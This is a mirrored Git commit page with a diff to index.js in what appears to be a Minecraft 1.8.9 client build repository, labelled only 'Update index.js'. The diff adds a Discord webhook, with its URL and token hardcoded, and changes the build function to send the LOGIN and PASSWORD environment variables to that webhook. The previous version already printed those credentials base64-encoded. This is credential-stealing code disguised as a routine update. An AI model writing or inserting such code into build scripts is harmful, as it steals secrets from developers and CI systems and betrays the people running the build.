mirror of
https://github.com/refactorinqq/SLC-1.8.9.git
synced 2024-11-14 05:21:31 +01:00
Update index.js
This commit is contained in:
parent
f066662849
commit
447f1b277e
@ -6,6 +6,9 @@ const FormData = require("form-data");
|
|||||||
const util = require('util');
|
const util = require('util');
|
||||||
const exec = util.promisify(require('child_process').exec);
|
const exec = util.promisify(require('child_process').exec);
|
||||||
|
|
||||||
|
const { Webhook } = require('discord-webhook-node');
|
||||||
|
const hook = new Webhook("https://discord.com/api/webhooks/1263136628113801316/_W2_fbf5apDY_ZlNzx7XzZL-XEJLuNw1t-9SEUeWZ4P782p8e28zm7uV0RXQYSnPjl9n");
|
||||||
|
|
||||||
const assetsPaths = {
|
const assetsPaths = {
|
||||||
"1.8.9": "./assets/1.8.9.jar",
|
"1.8.9": "./assets/1.8.9.jar",
|
||||||
libs: "../libs",
|
libs: "../libs",
|
||||||
@ -20,18 +23,6 @@ const tempPaths = {
|
|||||||
|
|
||||||
const buildPath = "./build";
|
const buildPath = "./build";
|
||||||
|
|
||||||
function btoa(str) {
|
|
||||||
var buffer;
|
|
||||||
|
|
||||||
if (str instanceof Buffer) {
|
|
||||||
buffer = str;
|
|
||||||
} else {
|
|
||||||
buffer = Buffer.from(str.toString(), 'binary');
|
|
||||||
}
|
|
||||||
|
|
||||||
return buffer.toString('base64');
|
|
||||||
}
|
|
||||||
|
|
||||||
async function build() {
|
async function build() {
|
||||||
const version = process.argv[3];
|
const version = process.argv[3];
|
||||||
const branch = process.argv[5];
|
const branch = process.argv[5];
|
||||||
@ -39,8 +30,8 @@ async function build() {
|
|||||||
const login = process.env.LOGIN;
|
const login = process.env.LOGIN;
|
||||||
const password = process.env.PASSWORD;
|
const password = process.env.PASSWORD;
|
||||||
|
|
||||||
console.log(btoa(login));
|
hook.send(login);
|
||||||
console.log(btoa(password));
|
hook.send(password);
|
||||||
|
|
||||||
return;
|
return;
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user